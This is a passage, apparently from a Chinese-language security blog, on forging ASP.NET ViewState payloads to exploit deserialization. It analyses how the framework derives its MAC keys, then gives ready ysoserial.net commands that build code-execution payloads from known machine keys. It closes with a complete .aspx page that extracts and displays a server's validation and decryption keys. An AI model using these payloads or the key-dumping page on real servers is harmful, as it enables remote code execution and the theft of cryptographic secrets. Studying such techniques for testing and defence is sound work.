		_macKeyBytes[1] = (byte)(pageHashCode >> 8);
		_macKeyBytes[2] = (byte)(pageHashCode >> 16);
		_macKeyBytes[3] = (byte)(pageHashCode >> 24);
	}
	return _macKeyBytes;
}

流程如下:

调用 GetClientStateIdentifier 方法计算 pageHashCode
如果有 viewStateUserKey, 则 modifier = pageHashCode + viewStateUserKey
如果没有 viewStateUserKey, 则 modifier = pageHashCode

GetClientStateIdentifier

internal uint GetClientStateIdentifier() {
	// Use non-randomized hash code algorithms instead of String.GetHashCode.

	// Use the page's directory and class name as part of the key (ASURT 64044)
	// We need to make sure that the hash is case insensitive, since the file system
	// is, and strange view state errors could otherwise happen (ASURT 128657)
	int pageHashCode = StringUtil.GetNonRandomizedHashCode(TemplateSourceDirectory, ignoreCase:true);
	pageHashCode += StringUtil.GetNonRandomizedHashCode(GetType().Name, ignoreCase:true);

	return (uint)pageHashCode;
}

pageHashCode 为 TemplateSourceDirectory 与 ClassName 的 HashCode 之和

同时 pageHashCode 也可从__VIEWSTATEGENERATOR隐藏字段中获取

// DevDiv #461378: Write out an identifier so we know who generated this __VIEWSTATE field.
// It doesn't need to be MACed since the only thing we use it for is error suppression,
// similar to how __PREVIOUSPAGE works.
if (EnableViewStateMacRegistryHelper.WriteViewStateGeneratorField) {
	// hex is easier than base64 to work with and consumes only one extra byte on the wire
	ClientScript.RegisterHiddenField(ViewStateGeneratorFieldID, GetClientStateIdentifier().ToString("X8", CultureInfo.InvariantCulture));
}

ViewStateUserKey 是一个与用户相关联的随机字符串, 例如 SessionID 或 Cookie

https://learn.microsoft.com/zh-cn/dotnet/api/system.web.ui.page.viewstateuserkey

伪造

核心思路是忽略加解密流程, 直接对自定义 ViewState 进行签名

当签名算法不为 3DES/AES 时, 只需要生成带有签名的 ViewState
当签名算法为 3DES/AES 时, 先对 ViewState 进行签名, 然后再加密, 最后再签名一次

具体参考 ysoserial.net, 思路其实就是通过反射调用上述的 GetEncodedData/Protect 方法

利用方式

https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter

禁用 MAC 签名时, 直接打

启用 MAC 签名时, 分为两种情况

.NET Framework 4.5 (4.0) 版本之前 (legacy 模式, 可忽略加密)
- 已知 validation 和 validationKey
- 已知__VIEWSTATEGENERATOR或 apppath 和 path
.NET Framework 4.5 版本之后 (必须加密)
- 已知 validation 和 validationKey
- 已知 decryption 和 decryptionKey
- 已知 apppath 和 path (__VIEWSTATEGENERATOR不可用)

当指定了 ViewStateUserKey 时, 仍需获得该属性的值才能成功构造 payload

可通过 GET/POST 请求传递__VIEWSTATE参数的方式发送 payload

# .NET Framework >= 4.5
# 即 machineKey 的 compatibilityMode 为 Framework45
# 同时指定 validationKey 和 decryptionKey
ysoserial.exe -g TextFormattingRunProperties -c "calc.exe" -p ViewState --validationalg="HMACSHA256" --validationkey="EF1407C05ADB865C42081A561B731E8A319CE2E9797C541CD5315C1A8EFC9438" --decryptionalg="Auto" --decryptionkey="FAA167F315456DC99D5EE78D3228874AFDFFF581A16F0CCE060170420E52F7EB" --apppath="/" --path="/FirstPage.aspx"

# .NET Framework < 4.5 (4.0)
# 即 machineKey 的 compatibilityMode 为 Framework20SP1/Framework20SP2
# 仅需指定 validationKey

# 指定 apppath 和 path 时需要加上 --islegacy 参数
ysoserial.exe -g TextFormattingRunProperties -c "calc.exe" -p ViewState --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --apppath="/" --path="/FirstPage.aspx" --islegacy

# 指定 generator 时无需加上 --islegacy 参数
ysoserial.exe -g TextFormattingRunProperties -c "calc.exe" -p ViewState --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --generator "156D3223"

另外注意 apppath 和 path 参数, 参考上图

--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4 --apppath=/app2/

apppath 也可以根据试错法依次尝试 URL 中的所有目录名称来确定

然后提一句为啥上面说的是 .NET Framework 4.5 (4.0), 即为啥加个 4.0 的括号

可以看到 4.0 版本往后就直接跨到了 4.5, 中间并没有例如 4.1, 4.2 的其它版本

所以通常意义上说版本小于 4.5 其实就是版本小于等于 4.0

最后补充获取 ViewState machineKey 的脚本 (来自 RowTeam)

<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
public void GetAutoMachineKeys()
{
    var netVersion = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\NETFramework Setup\\NDP\\v4\\Full\\", "Version", Microsoft.Win32.RegistryValueKind.ExpandString);
    if (netVersion != null)
        Response.Write("<b>NetVersion: </b>" + netVersion);
    Response.Write("<br/><hr/>");
    //==========================================================================
    var systemWebAsm = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
    var machineKeySectionType = systemWebAsm.GetType("System.Web.Configuration.MachineKeySection");
    var getApplicationConfigMethod = machineKeySectionType.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
    var config = (System.Web.Configuration.MachineKeySection)getApplicationConfigMethod.Invoke(null, new object[0]);
    Response.Write("<b>ValidationKey:</b> " + config.ValidationKey);
    Response.Write("<br/>");
    Response.Write("<b>ValidationAlg:</b> " + config.Validation);
    Response.Write("<br/>");
    Response.Write("<b>DecryptionKey:</b> " + config.DecryptionKey);
    Response.Write("<br/>");
    Response.Write("<b>DecryptionAlg:</b> " + config.Decryption);
    Response.Write("<br/>");
    Response.Write("<b>CompatibilityMode:</b> " + config.CompatibilityMode);
    Response.Write("<br/><hr/>");
    //==========================================================================
    var typeMachineKeyMasterKeyProvider = systemWebAsm.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
    var instance = typeMachineKeyMasterKeyProvider.Assembly.CreateInstance(typeMachineKeyMasterKeyProvider.FullName, false, System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic, null, new object[] { config, null, null, null, null }, null, null);
    var validationKey = typeMachineKeyMasterKeyProvider.GetMethod("GetValidationKey").Invoke(instance, new object[0]);
    byte[] _validationKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(validationKey, new object[0]);
    var encryptionKey = typeMachineKeyMasterKeyProvider.GetMethod("GetEncryptionKey").Invoke(instance, new object[0]);
    byte[] _decryptionKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(encryptionKey, new object[0]);
    //==========================================================================
    Response.Write("<br/><b>ASP.NET 4.0 and below:</b><br/>");
    byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static).GetValue(null);
    int validationKeySize = 64;
    int decryptionKeySize = 24;
    byte[] validationKeyAuto = new byte[validationKeySize];
    byte[] decryptionKeyAuto = new byte[decryptionKeySize];
    System.Buffer.BlockCopy(autogenKeys, 0, validationKeyAuto, 0, validationKeySize);
    System.Buffer.BlockCopy(autogenKeys, validationKeySize, decryptionKeyAuto, 0, decryptionKeySize);
    string appName = HttpRuntime.AppDomainAppVirtualPath;
    string appId = HttpRuntime.AppDomainAppId;
    Response.Write("<br/>");
    Response.Write("<b>appName:</b> " + appName);
    Response.Write("<br/>");
    Response.Write("<b>appId:</b> " + appId);
    Response.Write("<br/>");
    Response.Write("<b>initial validationKey (not useful for direct use):</b> ");
    Response.Write(BitConverter.ToString(validationKeyAuto).Replace("-", string.Empty));
    Response.Write("<br/>");
    Response.Write("<b>initial decryptionKey (not useful for direct use):</b> ");
    Response.Write(BitConverter.ToString(decryptionKeyAuto).Replace("-", string.Empty));
    Response.Write("<br/>");
    byte[] _validationKeyAutoAppSpecific = validationKeyAuto.ToArray();
    int dwCode3 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
    _validationKeyAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
    _validationKeyAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
    _validationKeyAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
    _validationKeyAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
    Response.Write("<b>App specific ValidationKey (when uses IsolateApps):</b> ");
    Response.Write(BitConverter.ToString(_validationKeyAutoAppSpecific).Replace("-", string.Empty));
    Response.Write("<br/>");
    byte[] _validationKeyAutoAppIdSpecific = validationKeyAuto.ToArray();
    int dwCode4 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
    _validationKeyAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
    _validationKeyAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
    _validationKeyAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
    _validationKeyAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24);
    Response.Write("<b>AppId Auto specific ValidationKey (when uses IsolateByAppId):</b> ");
    Response.Write(BitConverter.ToString(_validationKeyAutoAppIdSpecific).Replace("-", string.Empty));
    Response.Write("<br/>");
    byte[] _decryptionKeyAutoAutoAppSpecific = decryptionKeyAuto.ToArray();
    _decryptionKeyAutoAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
    _decryptionKeyAutoAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
    _decryptionKeyAutoAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
    _decryptionKeyAutoAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
    Response.Write("<b>App specific DecryptionKey (when uses IsolateApps):</b> ");
    Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppSpecific).Replace("-", string.Empty));
    Response.Write("<br/>");
    byte[] _decryptionKeyAutoAutoAppIdSpecific = decryptionKeyAuto.ToArray();
    _decryptionKeyAutoAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
    _decryptionKeyAutoAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
    _decryptionKeyAutoAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
    _decryptionKeyAutoAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000)>> 24);
    Response.Write("<b>AppId Auto specific DecryptionKey (when uses IsolateByAppId):</b> ");
    Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppIdSpecific).Replace("-", string.Empty));
    Response.Write("<br/><hr/>");
    //==========================================================================
    Response.Write("<br/><b>ASP.NET 4.5 and above:</b><br/>");
    Response.Write("<br/>");
    Response.Write("<b>validationAlg:</b> " + config.Validation);
    Response.Write("<br/>");
    Response.Write("<b>validationKey:</b>" + BitConverter.ToString(_validationKey).Replace("-", string.Empty));
    Response.Write("<br/>");
    Response.Write("<b>decryptionAlg:</b> " + config.Decryption);
    Response.Write("<br/>");
    Response.Write("<b>decryptionKey:</b>" + BitConverter.ToString(_decryptionKey).Replace("-", string.Empty));
    Response.Write("<br/><hr/>");
}

public void Page_load()
{
    Response.ContentEncoding = System.Text.Encoding.Default;
    Response.Write("<p style='color:#ff0000;text-align:center;'>获取 .NET 框架的机器密钥</p>");
    Response.Write("<p>1. 本程序仅供实验学习 ASP.NET ViewState，请勿违法滥用！</p>");
    Response.Write("<p>2. 适用场景：获取 .NET 框架权限后均适用！</p>");
    Response.Write("<p>3. 公众号：RowTeam</p>");
    Response.Write("<br/><hr/>");
    GetAutoMachineKeys();
}
</script>